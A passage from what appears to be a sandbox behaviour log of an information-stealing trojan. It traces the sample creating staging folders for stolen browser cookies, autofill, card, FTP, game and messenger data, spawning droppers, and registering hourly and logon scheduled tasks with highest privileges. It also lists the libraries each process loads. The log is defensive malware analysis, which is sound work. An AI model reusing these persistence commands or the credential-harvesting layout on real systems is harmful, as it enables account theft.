parameter %ALLUSERSPROFILE%\MPGPH131 (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA4OpGWreR7plfwx (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Cookies (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Autofill (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP\FileZilla (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Downloads (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\CC (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP\TotalCommander (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Growtopia (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\GoogleAccounts (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Minecraft (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\TLauncher (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\FeatherClient (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Files (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Files\My Music (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\LunarClient (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Battle.net (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Steam (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Files\My Pictures (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Skype (UID: 00000000-00007764)38:Tc36,"974c9.Trojan.exe" called "CreateProcessA" with parameter "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessA" with parameter "schtasks /create /f /RU "Qa3nFGk" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4OpGWreR7plfwx\_cN98WdsB1IEWbc3Zx4D.exe"" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4OpGWreR7plfwx\cjV6Q2vxV7zvCn3KN9LD.exe"" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4OpGWreR7plfwx\HaHIGF310vbb4fU3fDiY.exe"" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4OpGWreR7plfwx\2Sz9u8LqhC5hU2hE9Hgc.exe"" - (UID: 00000000-00007764) "974c9.Trojan.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4OpGWreR7plfwx\9Ctcn6an256JgA0A8CaB.exe"" - (UID: 00000000-00007764) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" - (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login" - (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/" - (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com" - (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login" - (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com" - (UID: 00000000-00007248) "cjV6Q2vxV7zvCn3KN9LD.exe" called "CreateProcessW" with parameter ""%TEMP%\d887ceb89d\explorhe.exe"" - (UID: 00000000-00008112) "explorhe.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "%TEMP%\d887ceb89d\e" - (UID: 00000000-00004036), "explorhe.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\rundll32.exe" %APPDATA%\006700e5a2ab05\clip64.dll Main" - (UID: 00000000-00004036), "explorhe.exe" called "CreateProcessW" with parameter ""%TEMP%\1000664001\rdx1122.exe"" - (UID: 00000000-00004036), "explorhe.exe" called "CreateProcessW" with parameter ""%TEMP%\1000666001\rdxx1.exe"" - (UID: 00000000-00004036), "rdx1122.exe" called "CreateProcessA" with parameter "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" - (UID: 00000000-00007440)39:T6555,"974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter C:\974c9.Trojan.ENU (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter C:\974c9.Trojan.EN (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter WININET.DLL (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007764) "974c9.Trojan.exe" called "LoadLibrary" with a parameter vaultcli.dll (UID: 00000000-00007764) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\_cN98WdsB1IEWbc3Zx4D.exe (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter MLANG.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00007248) "_cN98WdsB1IEWbc3Zx4D.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00007248) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\cjV6Q2vxV7zvCn3KN9LD.ENU (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\cjV6Q2vxV7zvCn3KN9LD.EN (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00008112) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007512) "HaHIGF310vbb4fU3fDiY.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007512) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\2Sz9u8LqhC5hU2hE9Hgc.ENU (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\2Sz9u8LqhC5hU2hE9Hgc.EN (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter WININET.DLL (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006224) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter %TEMP%\jobA4OpGWreR7plfwx\9Ctcn6an256JgA0A8CaB.exe (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00007632) "9Ctcn6an256JgA0A8CaB.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-1 (UID: 00000000-00007632) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.ENU (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.EN (UID: 00000000-00004036) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter SHFolder.dll (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.ENU (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter %TEMP%\d887ceb89d\explorhe.EN (UID: 00000000-00007836) "explorhe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007836) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007440) "rdx1122.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007440) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006352) "rdxx1.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows 